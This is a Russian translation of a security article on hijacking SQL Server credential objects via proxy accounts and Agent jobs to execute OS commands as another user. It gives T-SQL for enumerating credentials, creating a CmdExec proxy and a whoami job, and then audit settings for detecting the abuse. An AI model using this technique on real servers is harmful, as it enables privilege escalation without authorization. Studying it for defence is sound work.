Введение
Эта публикация - перевод статьи Scott Sutherland - Hijacking SQL Server Credentials using Agent Jobs for Domain Privilege Escalation. В публикации описано, как объекты учетных данных SQL Server могут быть использованы злоумышленниками для выполнения кода от имени пользователя SQL Server, локального пользователя Windows или доменного пользователя. Также, в публикации будет информация о том, как настроить логирование для обнаружения соответствующего поведения.
Важно!
Все описанное ниже в статье приводится только для понимания угрозы и противодействия ей. Использование приведенных ниже методов должно осуществляться только с получением согласования владельца системы и с целью повышения безопасности.
Описание сценария
Давайте для начала обрисуем общий сценарий и проблему, которую мы пытаемся решить с помощью этого метода.
Вы являетесь пентестером или сотрудником red team.
Вы получили привилегии системного администратора на экземпляре SQL Server с помощью распространенного метода атаки, такого как: SQL-инъекция, слабый пароль, чрезмерные привилегии или неправильно настроенная ссылка на SQL Server.
Вы можете выполнять команды и код в операционной системе хоста в контексте учетной записи службы SQL Server, используя различные методы, такие как xp_cmdshell, пользовательские CLR, задания агента и т.д.
Проблема в том, что учетная запись службы SQL Server настроена для запуска от имени NT Service\MSSQLSERVER, которая является учетной записью с ограниченными привилегиями в операционной системе. Мы хотим иметь как минимум права локального администратора и, если повезет, администратора домена. Итак, нам нужно найти обходной путь.
Учитывая ограничения учетной записи NT Service\MSSQLSERVER, нашим следующим шагом будет попытка повысить привилегии локально. В Windows существует множество подходов к повышению привилегий, ориентированных на операционную систему, включая #AllThePotatoes, но не ограничиваясь ими. Тем не менее, я хотел бы рассмотреть, как можно злоупотреблять учетными данными SQL Server, если они были настроены на экземпляре SQL Server.
Что такое объект учетных данных (Credential Object) в SQL Server?
Учетные данные - это объекты в SQL Server, хранящие информацию, такую как имена пользователей и пароли, которые могут использоваться для аутентификации на внешних ресурсах, таких как другие SQL-серверы, общие файловые ресурсы или веб-службы, а также могут использоваться выполнения процессов/задач в контексте другого пользователя. К типам учетных данных относятся учетные данные для входа в SQL Server, локальные пользователи Windows и доменные пользователи Active Directory.
Некоторые распространенные подсистемы SQL Server, использующие учетные данные, включают:
Задания агента
Службы интеграции SQL Server (SSIS)
Службы отчетов SQL Server (SSRS)
Связанные серверы
Почта базы данных
Service Broker
Репликация
Существует множество легитимных вариантов использования объектов учетных данных в SQL Server, но, как и все сохраненные токены аутентификации, они могут стать мишенью злоумышленников и использоваться в нелегитимных целях.
Как можно восстановить имена пользователей и пароли, хранящиеся в объектах учетных данных?
Получение паролей в виде открытого текста очень поможет при повышении привилегий. Итак, как мы можем восстановить их из объектов учетных данных SQL Server? Основным препятствием является шифрование. Информация, хранящаяся в объектах учетных данных, шифруется с помощью описанного здесь процесса.
К счастью, Антти Рантасаари в 2014 году разработал скрипт PowerShell, который расшифровывает учетные данные, хранящиеся в объектах SQL Server. Он также опубликовал подробное сообщение в блоге, в котором описал процесс расшифровки. С тех пор этот скрипт был перенесен в функцию Get-DecryptedObject в модуле DBATools Крисси Лемер, которая активно его поддерживала.
Чтобы запустить функцию Antti, импортируйте его функцию PowerShell и выполните приведенную ниже команду.
Get-MSSQLCredentialPasswords
Однако, прежде чем вы начнете идти по этому пути, вы должны знать, что существуют определенные требования, чтобы функция работала.
Доступно в нашем сценарии |
Требование |
Описание |
Да |
Для восстановления паролей в экземпляре SQL Server должен быть создан один или несколько объектов учетных данных. |
В нашем сценарии мы предполагаем, что были созданы объекты учетных данных. Однако в реальном мире вам придется это подтвердить. |
Да |
Привилегия системного администратора SQL Server |
В нашем сценарии мы имеем это. |
Да |
Подключение к DAC |
Обладая правами системного администратора, мы можем установить его с помощью выполнения команд операционной системы или специальных запросов. |
Нет |
Права локального администратора в операционной системе |
Необходимы для чтения информации о шифровании в разделе SOFTWARE\Microsoft\Microsoft SQL Server\[instancename]\Security\Entropy. Учетная запись Service\MSSQLSERVER не имеет доступа к этому разделу реестра. |
В нашем сценарии мы не отвечаем всем необходимым требованиям для восстановления паролей в открытом тексте из объектов учетных данных. Метод Антти Рантасаари очень эффективен, но он требует, чтобы у нас уже были права локального администратора в системе Windows, в которой размещен экземпляр SQL Server. Без этих административных привилегий метод не может быть применен. Итак, какие у нас есть варианты, если у нас нет локальных административных привилегий?
Как можно использовать объекты учетных данных SQL Server без доступа локального администратора?
Как обсуждалось ранее, объекты учетных данных в SQL Server предназначены для обеспечения доступа к внешним ресурсам и выполнения задач в контексте другого пользователя. Это означает, что нам не нужны имена пользователей и пароли, хранящиеся в объектах учетных данных, для запуска кода в контексте другого пользователя — мы можем использовать функциональность в том виде, в каком она была разработана.
Ниже приведен процесс, который можно использовать для “перехвата” существующего объекта учетных данных, настроенного на экземпляре SQL Server, что позволит вам выполнять код в контексте предоставленного пользователя, используя задания агента SQL Server. Пароль или права администратора локальной операционной системы не требуются.
Подготовка среды для тестирования
Устанавливаем MS SQL Server
Создайте локального пользователя Windows с именем testuser и назначьте его локальным администратором.
net user testuser P@ssw0rd! /add
net localgroup administrators /add testuser
Входим на SQL Server и создаем объект учетных данных.
CREATE CREDENTIAL [MyCredential]
WITH IDENTITY = 'yourcomputernamehere\testuser',
SECRET = 'P@ssw0rd!';
Пошаговое руководство по запуску кода в контексте другого пользователя
Входим в экземпляр SQL Server. Проверяем, что у нас есть права системного администратора SQL Server.
SELECT IS_SRVROLEMEMBER('sysadmin') AS IsSysAdmin;
Смотрим имеющиеся в SQL Server учетные данные. Приведенный ниже запрос предоставит список учетных данных, настроенных на экземпляре SQL Server. Если таковые существуют, мы уже на полпути к цели.
SELECT * FROM sys.credentials
Смотрим имеющиеся в SQL Server учетные записи прокси-агента. Прокси-агенты привязаны к объектам учетных данных SQL Server и используются агентами заданий (agent jobs). Использование существующей учетной записи прокси-агента может снизить вероятность обнаружения.
USE msdb;
GO
SELECT
proxy_id,
name AS proxy_name,
credential_id,
enabled
FROM
dbo.sysproxies;
GO
Создаем учетную запись прокси-агента. Если для объекта учетных данных, который мы хотим использовать, еще не существует прокси-агента, мы можем создать его и назначить необходимые привилегии. Для получения дополнительной информации об учетных записях прокси-агента можно ознакомиться с информацией здесь.
USE msdb;
GO
EXEC sp_add_proxy
@proxy_name = N'MyCredentialProxy', -- Name of the proxy
@credential_name = N'MyCredential'; -- Name of the existing credential
EXEC sp_grant_proxy_to_subsystem
@proxy_name = N'MyCredentialProxy',
@subsystem_id = 3; -- 3 represents the Operating System (CmdExec) subsystem
Проверяем, что учетная запись прокси-агента создана.
USE msdb;
GO
SELECT
proxy_id,
name AS proxy_name,
credential_id,
enabled
FROM
dbo.sysproxies;
GO
Создаем задание агента для выполнения нужного кода или команд в операционной системе. Доступные параметры по умолчанию включают PowerShell, VBScript, JScript и CMDEXEC. Убедитесь, что для задания настроена соответствующая учетная запись прокси-агента. В приведенном ниже примере с подтверждением концепции процесс просто создает файл с именем whoami.txt в папке C:\Windows\Temp\, чтобы продемонстрировать, что процесс был выполнен в контексте пользователя прокси-сервера.
USE msdb;
GO
-- Create the job
EXEC sp_add_job
@job_name = N'WhoAmIJob'; -- Name of the job
-- Add a job step that uses the proxy to execute the whoami command
EXEC sp_add_jobstep
@job_name = N'WhoAmIJob',
@step_name = N'ExecuteWhoAmI',
@subsystem = N'CmdExec',
@command = N'c:\windows\system32\cmd.exe /c whoami > c:\windows\temp\whoami.txt',
@on_success_action = 1, -- 1 = Quit with success
@on_fail_action = 2, -- 2 = Quit with failure
@proxy_name = N'MyCredentialProxy'; -- The proxy created earlier
-- Add a schedule to the job (optional, can be manual or scheduled)
EXEC sp_add_jobschedule
@job_name = N'WhoAmIJob',
@name = N'RunOnce',
@freq_type = 1, -- 1 = Once
@active_start_date = 20240820,
@active_start_time = 120000;
-- Add the job to the SQL Server Agent
EXEC sp_add_jobserver
@job_name = N'WhoAmIJob',
@server_name = N'(LOCAL)';
Используйте приведенный ниже запрос, чтобы убедиться, что Агент использует учетную запись прокси-агента. В запросе также будут указаны все другие Агенты задания, настроенные на запуск с использованием учетных записей прокси-агентов.
USE msdb;
GO
SELECT
jobs.name AS JobName,
steps.step_id AS StepID,
steps.step_name AS StepName,
proxies.name AS ProxyName,
ISNULL(credentials.name, 'No Credential') AS CredentialName,
ISNULL(credentials.credential_identity, 'No Identity') AS IdentityName
FROM
msdb.dbo.sysjobs AS jobs
JOIN
msdb.dbo.sysjobsteps AS steps ON jobs.job_id = steps.job_id
JOIN
msdb.dbo.sysproxies AS proxies ON steps.proxy_id = proxies.proxy_id
LEFT JOIN
sys.credentials AS credentials ON proxies.credential_id = credentials.credential_id
WHERE
steps.proxy_id IS NOT NULL
ORDER BY
jobs.name, steps.step_id;
Используем агент задания таким образом, чтобы процесс был запущен в контексте учетной записи прокси-агента и выполнил наш код/команду.
EXEC sp_start_job @job_name = N'WhoAmIJob';
Проверим выполнение, просмотрев содержимое файла c:\windows\temp\whoami.txt.
Итак, подведем итог: мы смогли выполнять команды в операционной системе SQL Server, используя учетные данные, без необходимости знать соответствующее имя пользователя или пароль. Однако на данный момент, если вам удалось выдать себя за пользователя с правами локального администратора, вы также можете восстановить имя пользователя и пароль в открытом виде из настроенных объектов учетных данных, используя методику Antti, которую мы приводили выше.
Детектирование и расследование
Предыдущий раздел был хорош для атакующих, но не так хорош для сотрудников кибербезопасности. Ниже приведен обзор некоторых возможностей детектирования.
Источник данных: журнал приложений Windows
Стратегия обнаружения: Аномалии пользовательского поведения
Концепция обнаружения: Чтобы обнаружить злоупотребление объектами учетных данных с использованием учетных записей прокси-агентов, необходимо обеспечить мониторинг сервера и базы данных SQL Server, которые позволять детектировать, когда создается учетная запись прокси-агента, путем мониторинга выполнения хранимых процедур ‘sp_add_proxy’ и ‘sp_grant_proxy_to_subsystem’. SQL Server также можно настроить для отправки этих событий в журнал приложений Windows, где можно включить мониторинг события с ID 33205.
Детектирование: некоторые администраторы баз данных могут использовать учетные данные и учетные записи прокси-агентов в законных целях, но это не должно происходить регулярно.
Инструкции по настройке обнаружения
Создайте аудит сервера.
Use master
CREATE SERVER AUDIT [ProxyAccountAudit]
TO APPLICATION_LOG
WITH (ON_FAILURE = CONTINUE);
GO
Создайте спецификацию аудита базы данных. Это позволит отслеживать изменения на уровне сервера и базы данных в базе данных msdb.
USE msdb;
GO
CREATE DATABASE AUDIT SPECIFICATION [ProxyAccountAuditSpec]
FOR SERVER AUDIT [ProxyAccountAudit]
ADD (EXECUTE ON OBJECT::[dbo].[sp_add_proxy] BY [dbo]),
ADD (EXECUTE ON OBJECT::[dbo].[sp_grant_proxy_to_subsystem] BY [dbo])
WITH (STATE = ON);
GO
Включите спецификацию.
Use master
GO
ALTER SERVER AUDIT [ProxyAccountAudit] WITH (STATE = ON);
GO
Use msdb
GO
ALTER DATABASE AUDIT SPECIFICATION [ProxyAccountAuditSpec]
WITH (STATE = ON);
GO
Если вы повторно выполните действия по созданию учетной записи прокси-агента и просмотрите журнал приложений Windows на предмет события с идентификатором 33205, вы должны увидеть экземпляры выполнения хранимых процедур ‘sp_add_proxy’ и ‘sp_grant_proxy_to_subsystem’.
def-hub-community Автор
Велкам к нам в тг @defhubcommunity там много интересного и полезного про кибербезопасность.